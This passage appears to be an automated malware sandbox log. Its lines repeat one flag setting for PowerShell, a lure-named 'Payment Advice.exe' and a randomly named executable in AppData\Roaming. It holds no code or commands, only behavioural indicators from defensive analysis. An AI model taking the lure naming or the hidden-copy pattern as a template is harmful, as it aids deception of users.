Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment Advice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sFPEKzHsLkYZIz.exe	Process information set: NOOPENFILEERRORBOX
